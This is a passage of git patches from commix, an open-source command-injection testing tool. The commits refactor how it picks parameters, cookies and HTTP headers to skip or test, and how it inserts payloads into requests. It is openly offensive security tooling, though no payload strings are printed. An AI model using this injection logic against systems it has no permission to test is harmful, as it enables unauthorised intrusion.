checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_url)): @@ -611,7 +603,6 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - http_request_method = checks.check_http_method(url) checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_parameter)): diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e862d8644d..e0645a31fc 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -112,7 +112,7 @@ def send(self, req): unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] - if menu.options.data and \ + if settings.USER_DEFINED_POST_DATA and \ len(request_http_headers) == 1 and \ settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index ffe9880e78..f5404df110 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0cf03d4cac767805d3b89b62f9239c5499aac13c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 17 Apr 2024 07:22:53 +0300 Subject: [PATCH 0423/1023] Improvement regarding option `--skip` for excluding certain parameter(s) from testing --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 29 +++++++++++--------- src/core/injections/controller/controller.py | 8 +++--- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 18 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c116106fa5..719f9a38af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cbfa01b6d4..f77a1f2080 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1162,22 +1162,27 @@ def check_provided_parameters(): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] """ -Check defined skipped parameters +Remove skipped parameters """ -def check_skipped_params(check_parameters, http_request_method): - settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] +def remove_skipped_params(url, check_parameters): + testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) + settings.TEST_PARAMETER = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + _ = [] for parameter in check_parameters: - if parameter in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): - info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." - print(settings.print_info_msg(info_msg)) - settings.TEST_PARAMETER = [x for x in check_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] - settings.TEST_PARAMETER = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER) + if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): + _.append(parameter) + if _: + info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." + print(settings.print_info_msg(info_msg)) menu.options.test_parameter = True """ Print the non-listed parameters. """ -def testable_parameters(check_parameters, http_request_method, header_name): +def testable_parameters(url, check_parameters, header_name): + if menu.options.skip_parameter != None: + remove_skipped_params(url, check_parameters) + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) @@ -1226,13 +1231,11 @@ def testable_parameters(check_parameters, http_request_method, header_name): if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += settings.HTTP_HEADER.capitalize() else: - warn_msg += http_request_method + warn_msg += check_http_method(url) warn_msg += "." print(settings.print_warning_msg(warn_msg)) - - if menu.options.skip_parameter != None: - check_skipped_params(check_parameters, http_request_method) + """ Only time-relative injection techniques support tamper """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 976eefcd22..97550208e4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -495,8 +495,8 @@ def cookie_injection(url, http_request_method, filename, timesec): menu.options.cookie = cookie_parameters[i] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) check_parameters.append(check_parameter) - - checks.testable_parameters(check_parameters, http_request_method, header_name) + + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(cookie_parameters)): parameter = menu.options.cookie = cookie_parameters[i] @@ -543,7 +543,7 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.testable_parameters(check_parameters, http_request_method, header_name) + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found_url)): url = found_url[i] @@ -603,7 +603,7 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.testable_parameters(check_parameters, http_request_method, header_name) + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found_parameter)): #if settings.INJECT_TAG in found_parameter[i]: diff --git a/src/utils/settings.py b/src/utils/settings.py index f5404df110..e9ec72da22 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0ed34b8a3909dd8bec8773b4d9a4cade3aea8436 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 Apr 2024 08:48:14 +0300 Subject: [PATCH 0424/1023] Update regarding checking non custom parameters --- src/core/injections/controller/checks.py | 89 ++++---- src/core/injections/controller/controller.py | 202 +++++++++++-------- src/core/main.py | 11 +- src/core/requests/headers.py | 32 +-- src/core/requests/parameters.py | 24 +-- src/core/requests/requests.py | 4 +- src/utils/settings.py | 7 +- 7 files changed, 192 insertions(+), 177 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f77a1f2080..9c570b33bb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -98,7 +98,30 @@ def quoted_value(value): return '"{}"'.format(value) """ -Check for custom injection marker (*) +Check for non custom parameters. +""" +def process_non_custom(): + if settings.WILDCARD_CHAR_APPLIED: + while True: + message = "Other non-custom parameters found." + message += " Do you want to process them too? [Y/n] > " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + settings.IGNORE_USER_DEFINED_POST_DATA = False + return True + elif process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return False + elif process in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(process) + pass + else: + return True + +""" +Check for custom injection marker ('*'). """ def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: @@ -113,40 +136,25 @@ def check_custom_injection_marker(url, http_request_method): option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: + settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True + elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK in settings.TEST_PARAMETER: + settings.WILDCARD_CHAR_APPLIED = settings.CUSTOM_HEADER_INJECTION = True if settings.WILDCARD_CHAR_APPLIED: while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message = "Custom injection marker ('" + settings.WILDCARD_CHAR + "') found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "and the option '-p', cannot be used simultaneously." - print(settings.print_critical_msg(err_msg)) - raise SystemExit return True elif procced_option in settings.CHOICE_NO: + settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -244,7 +252,7 @@ def alert(): def check_http_method(url): if menu.options.method: http_request_method = menu.options.method.upper() - elif any((settings.INJECT_TAG in url, settings.WILDCARD_CHAR in url)): + elif settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: if settings.USER_DEFINED_POST_DATA: @@ -656,29 +664,6 @@ def assessment_phase(): else: return "exploitation" -""" -Check current assessment phase. -""" -def check_injection_level(): - try: - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - - # Checking testable HTTP headers for user-agent / referer / host - if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - - except Exception as e: - return - - """ Procced to the next attack vector. """ @@ -1135,8 +1120,10 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + err_msg = "You specified more than one custom injection markers ('" + settings.WILDCARD_CHAR + "'). " + err_msg += "Instead use the '-p' option to define them (i.e -p \"id1,id2\"). " print(settings.print_critical_msg(err_msg)) raise SystemExit() return data @@ -1180,12 +1167,10 @@ def remove_skipped_params(url, check_parameters): Print the non-listed parameters. """ def testable_parameters(url, check_parameters, header_name): + if menu.options.skip_parameter != None: remove_skipped_params(url, check_parameters) - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : - menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) - _ = False if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 97550208e4..583cfee24f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -75,6 +75,7 @@ def check_for_stored_levels(url, http_request_method): Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() if menu.options.alter_shell: basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: @@ -104,18 +105,19 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) - else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers and settings.HOST.capitalize() not in check_parameter: - request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -140,6 +142,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" @@ -164,18 +167,19 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) - else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers and settings.HOST.capitalize() not in check_parameter: - request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -203,7 +207,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t print(settings.print_critical_msg(err_msg)) raise SystemExit() -# Check if it's exploitable via classic command injection technique. +""" +Check if it's exploitable via classic command injection technique. +""" def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = "results-based OS command injection" technique = "classic command injection technique" @@ -218,7 +224,9 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if settings.CLASSIC_STATE == None: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) -# Check if it's exploitable via dynamic code evaluation technique. +""" +Check if it's exploitable via dynamic code evaluation technique. +""" def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" @@ -234,7 +242,9 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho if settings.EVAL_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) -# Check if it's exploitable via time-based command injection technique. +""" +Check if it's exploitable via time-based command injection technique. +""" def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" technique = "time-based command injection technique" @@ -249,7 +259,9 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if settings.TIME_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) -# Check if it's exploitable via file-based command injection technique. +""" +Check if it's exploitable via file-based command injection technique. +""" def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "semi-blind command injection" technique = "file-based command injection technique" @@ -263,6 +275,16 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if settings.FILE_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) +""" +""" +def check_parameter_in_http_header(check_parameter): + inject_http_headers = False + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): + if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: + inject_http_headers = True + return inject_http_headers + """ Proceed to the injection process for the appropriate parameter. """ @@ -270,23 +292,20 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + inject_http_headers = check_parameter_in_http_header(check_parameter) # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" - check_parameter = " '" + check_parameter.strip() + "'" + inject_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = settings.COOKIE else: header_name = "" the_type = " parameter" - check_parameter = " '" + check_parameter + "'" + inject_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) @@ -300,9 +319,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : - settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: - settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -421,28 +440,27 @@ def host_injection(url, http_request_method, filename, timesec): settings.HOST_INJECTION = False menu.options.host = host - # User-Agent HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.USER_AGENT.lower() in menu.options.test_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) + if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ + menu.options.test_parameter == None and \ + menu.options.skip_parameter == None: + user_agent_injection(url, http_request_method, filename, timesec) + referer_injection(url, http_request_method, filename, timesec) + host_injection(url, http_request_method, filename, timesec) else: - if settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): + # User-Agent HTTP header injection + if settings.USER_AGENT_INJECTION or \ + menu.options.test_parameter and settings.USER_AGENT.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) - - # Referer HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.REFERER.lower() in menu.options.test_parameter.lower(): + # Referer HTTP header injection + if settings.REFERER_INJECTION or \ + menu.options.test_parameter and settings.REFERER.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.REFERER.lower() not in menu.options.skip_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) - else: - if settings.REFERER not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) - - # Host HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.HOST.lower() in menu.options.test_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) - else: - if settings.HOST.lower() not in menu.options.skip_parameter.lower(): + # Host HTTP header injection + if settings.HOST_INJECTION or \ + menu.options.test_parameter and settings.HOST.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.HOST.lower() not in menu.options.skip_parameter.lower(): host_injection(url, http_request_method, filename, timesec) """ @@ -634,6 +652,49 @@ def post_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) +""" +Perform GET / POST parameters checks +""" +def data_checks(url, http_request_method, filename, timesec): + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + if post_request(url, http_request_method, filename, timesec) is None: + get_request(url, http_request_method, filename, timesec) + else: + if get_request(url, http_request_method, filename, timesec) is None: + if settings.USER_DEFINED_POST_DATA and checks.process_non_custom(): + post_request(url, http_request_method, filename, timesec) +""" +Perform HTTP Headers parameters checks +""" +def headers_checks(url, http_request_method, filename, timesec): + if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + settings.COOKIE_INJECTION = True + + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: + cookie_injection(url, http_request_method, filename, timesec) + + if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + settings.HTTP_HEADERS_INJECTION = True + + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + if settings.INJECTED_HTTP_HEADER == False: + check_parameter = "" + http_headers_injection(url, http_request_method, filename, timesec) + + if len(settings.CUSTOM_HEADERS_NAMES) != 0: + settings.CUSTOM_HEADER_INJECTION = True + for _ in settings.CUSTOM_HEADERS_NAMES: + if settings.WILDCARD_CHAR in _.split(": ")[1] and not settings.WILDCARD_CHAR_APPLIED: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_NAME = _.split(": ")[0] + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.WILDCARD_CHAR,"") + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = False + """ Perform checks """ @@ -671,40 +732,15 @@ def perform_checks(url, http_request_method, filename): menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - - # Check if defined POST data - if not settings.COOKIE_INJECTION: - if len(settings.USER_DEFINED_POST_DATA) != 0 and not settings.IGNORE_USER_DEFINED_POST_DATA: - if post_request(url, http_request_method, filename, timesec) is None: - get_request(url, http_request_method, filename, timesec) - else: - get_request(url, http_request_method, filename, timesec) - - _ = menu.options.level - if _ >= settings.COOKIE_INJECTION_LEVEL: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - # Enable Cookie Injection - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) - if _ == settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - else: - http_headers_injection(url, http_request_method, filename, timesec) + _ = True + if not settings.WILDCARD_CHAR_APPLIED: + data_checks(url, http_request_method, filename, timesec) + _ = False + headers_checks(url, http_request_method, filename, timesec) + if settings.CUSTOM_HEADERS_NAMES and not checks.process_non_custom(): + _ = False + if _: + data_checks(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False @@ -759,7 +795,7 @@ def do_check(url, http_request_method, filename): # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: - if settings.TESTABLE_PARAMETERS: + if settings.TESTABLE_PARAMETERS and len(settings.CUSTOM_HEADERS_NAMES) == 0 : err_msg = "All testable parameters you provided are not present within the given request data." else: err_msg = "All tested parameters " @@ -768,9 +804,7 @@ def do_check(url, http_request_method, filename): err_msg += "appear to be not injectable." if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." + err_msg += " if you wish to perform more tests." if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: err_msg += " Rerun without providing the option " if not settings.SKIP_TECHNIQUES : @@ -778,12 +812,8 @@ def do_check(url, http_request_method, filename): else: err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" - else: - err_msg += " remove option '--alter-shell'" if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" + err_msg += " use option '--tamper'" if not menu.options.random_agent: if not menu.options.tamper: err_msg += " and/or" diff --git a/src/core/main.py b/src/core/main.py index ee9718aaeb..e15ba557c0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -303,11 +303,6 @@ def main(filename, url, http_request_method): settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) - # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ - menu.options.test_parameter != None: - checks.check_injection_level() - # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -489,8 +484,10 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_detection(response) - if response.info()['server'] : - server_banner = response.info()['server'] + if response.info()[settings.X_POWERED_BY] : + server_banner = response.info()[settings.X_POWERED_BY] + elif response.info()[settings.SERVER] : + server_banner = response.info()[settings.SERVER] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) # Procedure for target server identification. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e0645a31fc..8bcbc2e5f5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -297,7 +297,7 @@ def do_check(request): # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Appends a fake HTTP header 'X-Forwarded-For' (and alike) if settings.TAMPER_SCRIPTS["xforwardedfor"]: @@ -343,26 +343,25 @@ def do_check(request): pass # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: - if len(settings.RAW_HTTP_HEADERS) >= 1: + if menu.options.headers or menu.options.header or settings.RAW_HTTP_HEADERS: + if settings.RAW_HTTP_HEADERS: menu.options.headers = 